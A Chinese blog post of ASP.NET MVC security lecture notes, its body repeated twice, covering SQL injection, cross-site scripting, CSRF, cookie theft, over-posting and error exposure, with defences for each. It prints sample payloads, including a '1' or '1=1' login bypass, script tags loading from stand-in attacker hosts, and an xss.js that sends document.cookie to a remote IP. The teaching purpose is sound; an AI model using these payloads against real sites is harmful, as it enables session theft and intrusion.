常见网络安全攻击隐患
针对Asp.net MVC防御体系
安全性策略
where name='' and password=''
逻辑转接
where name='' and password='1' or '1=1'
脚本注入攻击
Asp.net webform
保护了一些情况
原则:
1、任何接收用户输入都要Encode,去掉Html标记
2、永远对任何人不加检查的使用HTML输入,白名单,
3、对Cookies进行验证
4、尽可能使用各种防范使用iss类库
永远不要相信用户的输入是安全的
攻击者是谁,想干嘛?
白帽黑客 -系统补丁 操作系统非常了解
黑帽黑客 -好奇心
攻击是如何进行的
社会工程学和凯文.米特尼克
黑客攻击的武器
• 不间断的尝试
• 各种专用设备
• 社会工程学技巧
垃圾邮件
广告发布和木马攻击的桥梁
常见攻击方式及其防范
• 跨站脚本攻击
• 跨域请求
• Cookie窃取
• 超载攻击方式
跨站脚本攻击
Cross-Site Scripting(xss)
url中输入的地方先
No blog!Sorry:<
查看源代码发现,没有Encode,如下:
<a href=”No blog! Sorry :<”>Rob Conery</a>
这时,可以输入脚本了:
“><iframe
src=”http://haha.juvenilelamepranks.example.com”
height=”400” width=500/>
iframe嵌入一图片,真正攻击可能更复杂
“></a><script
src=”http://srizbitrojan.evil.example.com”>
</script> <a href=”
以上为简单实例
被动攻击
主动注入
主动攻击介绍
将自己网站插入攻击网站,伪装成攻击网站一部分
下载软件都是主动攻击
避免XSS的办法
使用HTML.Encode来实现格式化所有内容
<% Html.Encode(Model.FirstName) %>
<%: Model.FirstName) %>. //同上面等价
<a href=”<%=Url.Action(“index”,”home”,new
{name=ViewData[“name”]})%>”>点击</a> //URL地址 没做处理
//处理过,以下两种干净的
<a href=”<%=Url.Action(“index”,”home”,new
{name=Html.AttributeEncode(ViewData[“name”])})%>”>点击</a>
或<a href=”<%=Url.Encode(Url.Action(“index”,”home”,
new {name=ViewData[“name”]}))%>”>点击</a>
JavaScript编码
public ActionResult Index(string UserName)
{
ViewData[“UserName”] = UserName;
return View();
}
<h2 id=”welcome-message”></h2>
<script type=”text/javascript”>
$(function () {
var message = ‘Welcome, <%: ViewData[“UserName”] %>!’;
$(“#welcome-message”).html(message).show();
});
</script>
JS调用,看上去没问题,用户写特殊URL
http://localhost:35976/?UserName=Jon\x3cscript\x3e%20alert(\x27pwnd\x27)%20\x3c/script\x3e
JS alert 没做任何不好的事情
但是可以做更多的事情
JS过滤
ntss的库
跨站请求
public ActionResult Logout() {
FormsAuth.SignOut();
return RedirectToAction(“Index”, “Home”);
}
<img src=”/account/logout” /> //页面
零尺寸图片
避免跨站欺骗攻击
• 操作身份认证
• 避免使用Get
• HTTP来源认证
<form action=”/account/register” method=”post”>
<%=Html.AntiForgeryToken()%></form>
<input type=”hidden” value=”012837udny31w90hjhf7u”> //隐秘字段
[ValidateAntiforgeryToken]
public ActionResult Register(…)
盗用Cookies
• Session Cookies //服务器通信指标
• 序列化Cookies //磁盘本地
禁用Cookies,就可以了,投票可以一直用
拷入化Cookies的窃取
跨站XSS脚本
<img src=”“http://www.a.com/a.jpg<script
type=text/javascript
src=”http://1.2.3.4:81/xss.js”>” /><<img
src=”http://www.a.com/a.jpg</script>
xss.js内容:
window.location=”http://1.2.3.4:81/r.php?u=”+document.
links[1].text”&l=”+document.links[1]+”&c=”+document.cookie;
避免Cookie被盗
-Response.Cookies["MyCookie"].value="Remembering you...";
-Response.Cookies["MyCookie"].HttpOnly=true; //只有服务器才能写
关于重复提交
[Bind(Include=”Name, Comment”)]
public class Review {
public int ReviewID { get; set; } // Primary key
public int ProductID { get; set; } // Foreign key
public Product Product { get; set; } // Foreign entity
public string Name { get; set; }
public string Comment { get; set; }
public bool Approved { get; set; }
}
[Bind(Exclude=”ReviewID, ProductID,Product,Approved”] //白名单,加入或排除
UpdateModel(review, “Review”, new string
{ “Name”, “Comment” });
public class ReviewViewModel {
public string Name { get; set; }
public string Comment { get; set; }
}
避免暴露错误信息
<customErrors mode="off">
能看到错误代码,源代码,数据库实例地址及名字等
改成ON
保护你的Controller
[Authorize]来锁定你的Action
[nonaction]来锁定所有不开放的Action
总结:
安全要靠自己
资源Url
微软安全中心
http://msdn.microsoft.com/enus/
security/default.aspx
AntiXSS
http://antixss.codeplex.com/
Open Web Application
Security Project (OWASP)
http://www.owasp.org/
2011-4-23 11:35 danny
针对Asp.net MVC防御体系
安全性策略
where name='' and password=''
逻辑转接
where name='' and password='1' or '1=1'
脚本注入攻击
Asp.net webform
保护了一些情况
原则:
1、任何接收用户输入都要Encode,去掉Html标记
2、永远对任何人不加检查的使用HTML输入,白名单,
3、对Cookies进行验证
4、尽可能使用各种防范使用iss类库
永远不要相信用户的输入是安全的
攻击者是谁,想干嘛?
白帽黑客 -系统补丁 操作系统非常了解
黑帽黑客 -好奇心
攻击是如何进行的
社会工程学和凯文.米特尼克
黑客攻击的武器
• 不间断的尝试
• 各种专用设备
• 社会工程学技巧
垃圾邮件
广告发布和木马攻击的桥梁
常见攻击方式及其防范
• 跨站脚本攻击
• 跨域请求
• Cookie窃取
• 超载攻击方式
跨站脚本攻击
Cross-Site Scripting(xss)
url中输入的地方先
No blog!Sorry:<
查看源代码发现,没有Encode,如下:
<a href=”No blog! Sorry :<”>Rob Conery</a>
这时,可以输入脚本了:
“><iframe
src=”http://haha.juvenilelamepranks.example.com”
height=”400” width=500/>
iframe嵌入一图片,真正攻击可能更复杂
“></a><script
src=”http://srizbitrojan.evil.example.com”>
</script> <a href=”
以上为简单实例
被动攻击
主动注入
主动攻击介绍
将自己网站插入攻击网站,伪装成攻击网站一部分
下载软件都是主动攻击
避免XSS的办法
使用HTML.Encode来实现格式化所有内容
<% Html.Encode(Model.FirstName) %>
<%: Model.FirstName) %>. //同上面等价
<a href=”<%=Url.Action(“index”,”home”,new
{name=ViewData[“name”]})%>”>点击</a> //URL地址 没做处理
//处理过,以下两种干净的
<a href=”<%=Url.Action(“index”,”home”,new
{name=Html.AttributeEncode(ViewData[“name”])})%>”>点击</a>
或<a href=”<%=Url.Encode(Url.Action(“index”,”home”,
new {name=ViewData[“name”]}))%>”>点击</a>
JavaScript编码
public ActionResult Index(string UserName)
{
ViewData[“UserName”] = UserName;
return View();
}
<h2 id=”welcome-message”></h2>
<script type=”text/javascript”>
$(function () {
var message = ‘Welcome, <%: ViewData[“UserName”] %>!’;
$(“#welcome-message”).html(message).show();
});
</script>
JS调用,看上去没问题,用户写特殊URL
http://localhost:35976/?UserName=Jon\x3cscript\x3e%20alert(\x27pwnd\x27)%20\x3c/script\x3e
JS alert 没做任何不好的事情
但是可以做更多的事情
JS过滤
ntss的库
跨站请求
public ActionResult Logout() {
FormsAuth.SignOut();
return RedirectToAction(“Index”, “Home”);
}
<img src=”/account/logout” /> //页面
零尺寸图片
避免跨站欺骗攻击
• 操作身份认证
• 避免使用Get
• HTTP来源认证
<form action=”/account/register” method=”post”>
<%=Html.AntiForgeryToken()%></form>
<input type=”hidden” value=”012837udny31w90hjhf7u”> //隐秘字段
[ValidateAntiforgeryToken]
public ActionResult Register(…)
盗用Cookies
• Session Cookies //服务器通信指标
• 序列化Cookies //磁盘本地
禁用Cookies,就可以了,投票可以一直用
拷入化Cookies的窃取
跨站XSS脚本
<img src=”“http://www.a.com/a.jpg<script
type=text/javascript
src=”http://1.2.3.4:81/xss.js”>” /><<img
src=”http://www.a.com/a.jpg</script>
xss.js内容:
window.location=”http://1.2.3.4:81/r.php?u=”+document.
links[1].text”&l=”+document.links[1]+”&c=”+document.cookie;
避免Cookie被盗
-Response.Cookies["MyCookie"].value="Remembering you...";
-Response.Cookies["MyCookie"].HttpOnly=true; //只有服务器才能写
关于重复提交
[Bind(Include=”Name, Comment”)]
public class Review {
public int ReviewID { get; set; } // Primary key
public int ProductID { get; set; } // Foreign key
public Product Product { get; set; } // Foreign entity
public string Name { get; set; }
public string Comment { get; set; }
public bool Approved { get; set; }
}
[Bind(Exclude=”ReviewID, ProductID,Product,Approved”] //白名单,加入或排除
UpdateModel(review, “Review”, new string
{ “Name”, “Comment” });
public class ReviewViewModel {
public string Name { get; set; }
public string Comment { get; set; }
}
避免暴露错误信息
<customErrors mode="off">
能看到错误代码,源代码,数据库实例地址及名字等
改成ON
保护你的Controller
[Authorize]来锁定你的Action
[nonaction]来锁定所有不开放的Action
总结:
安全要靠自己
资源Url
微软安全中心
http://msdn.microsoft.com/enus/
security/default.aspx
AntiXSS
http://antixss.codeplex.com/
Open Web Application
Security Project (OWASP)
http://www.owasp.org/
2011-4-23 11:35 danny
发表评论
-
10.2Asp.net MVC各层使用TDD方式
2011-05-01 12:09 769Asp.net MVC各层使用TDD方式 Asp.net M ... -
10.1TDD简介
2011-04-30 23:09 532MVC中的测试驱动开发 为什么需要TDD TDD的由来 它 ... -
8.2ASP.NET MVC2使用Ajax类库实例
2011-04-29 13:05 893ASP.NET MVC2使用Ajax类库实例 .net fo ... -
8.1Ajax类库介绍
2011-04-28 09:12 852在ASP.NET MVC中使用 -Microsoft ASP. ... -
7.2自定义开发Filter
2011-04-27 16:04 595Custom Filters ➤IAuthorization ... -
7.1Filter的使用
2011-04-26 22:20 474Filter的使用 -对Action的附加说明 Asp.n ... -
6.3Action的调用与属性
2011-04-26 09:43 640Action的调用与属性 1、唤起Action R ... -
6.2ActionResult的使用
2011-04-25 19:14 647ActionResult public abstract c ... -
6.1Controller类的基本构成
2011-04-25 09:17 640关于Controller Controller是什么? C ... -
5.6在Webform中使用routing
2011-04-23 22:48 630在Webform中使用routing 在Asp.net 4中使 ... -
5.5URL和Action匹配的秘密
2011-04-22 09:11 867Routes是如何把URL映射为Action -请求路由管道 ... -
5.4使用routing生成URL
2011-04-21 11:05 565使用routing生成URL URL生成器概述 1、质询每个 ... -
5.3使用Routes
2011-04-20 09:11 7135.3使用Routes 注册Area Route publi ... -
5.2Routes匹配URL的工作方式
2011-04-19 08:55 825URL的匹配规则 -site/{controller}/{ac ... -
5.1Url和Routes介绍
2011-04-17 12:05 6185.1Url和Routes介绍 关于Urls -域名好记好拼 ... -
4、View引擎介绍
2011-04-16 22:03 616View引擎介绍 Request =>Routing= ... -
3、HtmlHelper类(续)
2011-04-16 13:41 617HtmlHelper类(续) Html.TextArea 用 ... -
2、HtmlHelper类
2011-04-15 22:33 1069HtmlHelper类 <%Html. MVC1 & ... -
1、View层
2011-04-15 09:06 598ViewDataDictionary类 View 负责输出 ...
相关推荐
ASP.NET MVC2程序开发入门到精通系列课程(11):MVC程序安全限定(流畅)
ASP.NET MVC2程序开发入门到精通 ASP.NET MVC2 技术是微软又一个新的WEB开发技术,也是微软在ASP.NET 平台上有一个产品,这一技术旨在使用MVC架构呈现ASP...第11讲:MVC程序安全限定 第12讲:MVC中的测试驱动开发
本系统使有jsp进行网页界面的设计,使用MVC设计模式,采用了开源框架Struts,它采用了当今软件设计的最新技术,具有开发效率高、设计灵活、生成的软件界面友好美观等特点。本系统中通过JDBC驱动和数据库进行无缝连接...
[RoundBox.java] 限定选择控件 [MonthMaker.java] 月份表算法类 [Pallet.java] 调色板,统一配色类 Java扫雷源码 Java生成自定义控件源代码 2个目标文件 Java实现HTTP连接与浏览,Java源码下载 1个目标...
9.对于一个实现了IDisposable接口的类,以下哪些项可以执行与释放或重置非托管资源相关的应用程序定义的任务?(多选) ( ABC ) A.Close B.DisposeC.Finalize D.using E.Quit 10.Net依赖以下哪项技术实现跨语言互用性...
[RoundBox.java] 限定选择控件 [MonthMaker.java] 月份表算法类 [Pallet.java] 调色板,统一配色类 Java扫雷源码 Java生成自定义控件源代码 2个目标文件 Java实现HTTP连接与浏览,Java源码下载 1个目标...
本系统使有jsp进行网页界面的设计,使用MVC设计模式,采用了开源框架Struts,它采用了当今软件设计的最新技术,具有开发效率高、设计灵活、生成的软件界面友好美观等特点。本系统中通过JDBC驱动和数据库进行无缝连接...
本系统使有jsp进行网页界面的设计,使用MVC设计模式,采用了开源框架Struts,它采用了当今软件设计的最新技术,具有开发效率高、设计灵活、生成的软件界面友好美观等特点。本系统中通过JDBC驱动和数据库进行无缝连接...
宣告变量名称的同时,加上“final”关键词来限定,这个变量一但指定了值,就不可以再改变它的值 如:final int n1= 10; n1=20; 这就会报错 输出命令: System.out.println() 会自动换行的打印 System.out....